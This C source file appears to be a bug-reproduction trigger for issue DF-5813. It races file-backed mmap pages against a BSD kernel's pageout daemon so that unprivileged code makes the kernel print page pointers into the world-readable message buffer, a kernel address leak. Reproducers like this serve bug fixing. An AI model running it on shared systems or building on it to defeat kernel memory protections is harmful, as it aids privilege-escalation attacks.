DF-5813 / df5813_leakstress.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 | /* * DF-5813 trigger v4 โ race vnode-backed pages against the pagedaemon. * * Targets (all unprivileged, all land in the world-readable msgbuf): * vm_pageout.c:1340/1350/1356 "rebusy %p failed(A|B|C)" โ page state * changed while the daemon was blocked in vget(LK_TIMELOCK) * inside vm_pageout_page(). * vm_pageout.c:1728 "WARNING! page race during find/busy: %p ..." โ * page raced off PQ_CACHE between vm_page_list_find() and * vm_page_busy_try() in vm_pageout_scan_cache(). * * State-machine rationale (v4): for the daemon to reach the vget the * page must be dirty+valid, sit UNREFERENCED on PQ_INACTIVE long * enough to be WINATCFLS-cycled (vm_pageout.c:1147-1170), and then be * picked on a later pass (pass >= 1). So writers dirty the files and * then ABANDON them for a decay window (touching keeps act_count maxed * and the page active forever). During the decay window a syncer * competes as a cleaner (fsync/msync hold the vnode lock, blocking the * daemon's vget, while flushing the very pages the daemon picked) and * a cacher churns clean pages against the PQ_CACHE scanner. An anon * hog keeps free+cache below the daemon's target the whole time. * * build: cc -O2 -o df5813_leakstress df5813_leakstress.c -lpthread * run: ./df5813_leakstress <workdir> <seconds> [hog_MB] */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <fcntl.h> #include <unistd.h> #include <errno.h> #include <time.h> #include <pthread.h> #include <sys/mman.h> #define NFILES 6 #define FILESIZE (32UL * 1024 * 1024) #define CHUNK (1UL * 1024 * 1024) #define DIRTY_SECS 8 #define DECAY_SECS 25 static char g_dir[512]; static volatile int g_stop; static unsigned long g_hog_mb; static char *g_maps[NFILES]; static int g_fds[NFILES]; static char pbuf[NFILES][600]; static void * memhog_main(void *arg) { size_t sz = (size_t)g_hog_mb * 1024 * 1024, i; char *p; (void)arg; if (sz == 0) return (NULL); if ((p = malloc(sz)) == NULL) return (NULL); for (i = 0; i < sz; i += 4096) p[i] = (char)(i >> 12); while (!g_stop) { for (i = 0; i < sz && !g_stop; i += 4096) p[i] ^= 0x5A; usleep(50000); } free(p); return (NULL); } /* writers: dirty everything, then ABANDON (decay) so pages deactivate, * get WINATCFLS-cycled, and reach the daemon's vget launder branch */ static void * writer_main(void *arg) { size_t off; int fi, phase; time_t t0; (void)arg; while (!g_stop) { for (fi = 0; fi < NFILES && !g_stop; ++fi) { if (g_maps[fi] == MAP_FAILED) continue; t0 = time(NULL); while (time(NULL) - t0 < DIRTY_SECS && !g_stop) { for (off = 0; off < FILESIZE; off += CHUNK) memset(g_maps[fi] + off, (int)((off >> 16) ^ (fi * 7)), CHUNK); } /* decay window: hands off these pages */ t0 = time(NULL); while (time(NULL) - t0 < DECAY_SECS && !g_stop) sleep(1); } phase = 0; (void)phase; } return (NULL); } /* syncer: competing cleaner โ fsync (buffer flush under the vnode * LK_EXCLUSIVE) + MS_SYNC sweep of its own mapping; races the daemon's * laundering of the same pages -> (C); INVALIDATE + refaults -> (A)/(B) */ static void * syncer_main(void *arg) { size_t off; int fd, fi; char *m; (void)arg; while (!g_stop) { for (fi = 0; fi < NFILES && !g_stop; ++fi) { fd = open(pbuf[fi], O_RDWR); if (fd < 0) continue; fsync(fd); m = mmap(NULL, FILESIZE, PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0); if (m != MAP_FAILED) { for (off = 0; off < FILESIZE && !g_stop; off += CHUNK) msync(m + off, CHUNK, MS_SYNC); for (off = 0; off < FILESIZE && !g_stop; off += CHUNK) msync(m + off, CHUNK, MS_INVALIDATE); munmap(m, FILESIZE); } close(fd); usleep(250000); } } return (NULL); } /* cacher: fault/dontneed churn against the PQ_CACHE scanner */ static void * cacher_main(void *arg) { size_t off, j; int fd, fi; char *m, sum = 0; (void)arg; while (!g_stop) { for (fi = 0; fi < NFILES && !g_stop; ++fi) { fd = open(pbuf[fi], O_RDONLY); if (fd < 0) continue; m = mmap(NULL, FILESIZE, PROT_READ, MAP_SHARED, fd, 0); if (m != MAP_FAILED) { for (off = 0; off < FILESIZE && !g_stop; off += CHUNK) { for (j = 0; j < CHUNK; j += 4096) sum += m[off + j]; madvise(m + off, CHUNK, MADV_DONTNEED); } munmap(m, FILESIZE); } close(fd); } } return (NULL); } int main(int argc, char **argv) { pthread_t th[5]; int runtime = 300, i; time_t t0; if (argc > 1) snprintf(g_dir, sizeof(g_dir), "%s", argv[1]); else snprintf(g_dir, sizeof(g_dir), "."); if (argc > 2) runtime = atoi(argv[2]); if (argc > 3) g_hog_mb = strtoul(argv[3], NULL, 0); for (i = 0; i < NFILES; ++i) { snprintf(pbuf[i], sizeof(pbuf[i]), "%s/f%02d", g_dir, i); g_fds[i] = open(pbuf[i], O_RDWR | O_CREAT | O_TRUNC, 0600); if (g_fds[i] < 0) { perror("open"); return 1; } if (ftruncate(g_fds[i], FILESIZE) != 0) { perror("ftruncate"); return 1; } g_maps[i] = mmap(NULL, FILESIZE, PROT_READ | PROT_WRITE, MAP_SHARED, g_fds[i], 0); } fprintf(stderr, "dir=%s files=%dx%dMB runtime=%ds hog=%luMB pid=%d\n", g_dir, NFILES, (int)(FILESIZE >> 20), runtime, g_hog_mb, (int)getpid()); t0 = time(NULL); if (pthread_create(&th[0], NULL, memhog_main, NULL) != 0) return (2); if (pthread_create(&th[1], NULL, writer_main, NULL) != 0) return (2); if (pthread_create(&th[2], NULL, syncer_main, NULL) != 0) return (2); if (pthread_create(&th[3], NULL, syncer_main, NULL) != 0) return (2); if (pthread_create(&th[4], NULL, cacher_main, NULL) != 0) return (2); while (time(NULL) - t0 < (time_t)runtime) sleep(2); g_stop = 1; for (i = 0; i < 5; ++i) pthread_join(th[i], NULL); for (i = 0; i < NFILES; ++i) { if (g_maps[i] != MAP_FAILED) munmap(g_maps[i], FILESIZE); close(g_fds[i]); } fprintf(stderr, "done\n"); return (0); } |